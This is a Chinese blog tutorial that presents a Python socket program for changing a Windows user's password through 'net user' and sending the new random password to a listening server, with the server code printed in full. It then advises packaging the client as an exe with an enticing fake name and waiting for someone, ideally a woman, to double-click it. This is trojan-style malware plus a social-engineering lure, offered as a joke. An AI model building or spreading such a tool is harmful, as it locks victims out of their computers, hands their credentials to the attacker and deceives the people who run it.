对于学习Python这件事来说,很多人都觉得简单,那是因为你从来没有深入过。Python只是入门简单,语法易懂,里面的实现原理同样是门艺术。
今天给大家讲讲socket,但是我知道,说语法你们肯定不爱看,还嫌弃这的那的。那今天就用一个实例来给大家讲讲socket的实际用法。
你是不是心里一咯噔,不就是个聊天窗口吗……对不起,你不爱我了。
我们来用socket实现一个修改windows开机密码的小程序。
1. client端
client端需要让用户来执行,所以当我们写完客户端后,需要包装一下,用什么来包装呢?全网首份Python打包工具Pyinstaller实战指南,如丝滑般体验,了解下。
亲测,有些人的电脑不是Administrator用户,所以需要他们使用管理员权限执行。因为client会调用 dos 命令。
client的逻辑不复杂,核心代码就一句话,通过 subprocess.Popen模块调用windows的 dos cmd,来达到修改密码。
# 控制windows cmd,并修改密码
subprocess.Popen(['net', 'User', user, pwd])
那么user就是你想要修改的用户名,一般有两种操作,一种是直接修改他的Administator,一种就是修改他现有的windows用户。
# 获取计算机用户名
user = getpass.getuser()
密码的话,我们自己随机生成8位a-zA-Z0-9的字符串就好了。
# 生成a-zA-Z0-9的随机密码
letters = string.ascii_letters + string.digits
pwd = ''.join([random.choice(letters) for _ in range(8)])
最后客户端需要把密码发送给服务端,服务端记下来,大功告成。
2. server端
对于server端来说,我们需要做的是通过创建socket实例来接受客户端发过来的密码。
然后需要做到的是死循环。毕竟开一个就关了的事情,你想重复开启server端也是可以的。
这里贴一下server端代码
import socket
# server端同样需要通过创建socket,来监听client请求
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 这里和客户端不一样的是,使用的是bind,代表server端自己的ip port
server.bind(('192.168.31.246', 8080))
# 这里的参数5 代表的是同时监听多少个客户端,如果超过5个,那么第6个客户端会出现响应等待,也就是卡在那了
server.listen(5)
print('starting....')
# 创建socket连接后,会返回连接实例和地址
conn, addr = server.accept()
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
while True:
# 等待接受客户端发过来的信息
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg.decode())
3. 实战
windows开启客户端
服务端接受
4. 后续
你可以通过打包成exe,然后取个好听的名字,比如:2018年年度十佳车牌。
等待用户双击即可。最好是个妹子,这样不就聊上了?~
关注公众号,后台回复:「change win pwd」获取全部代码
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。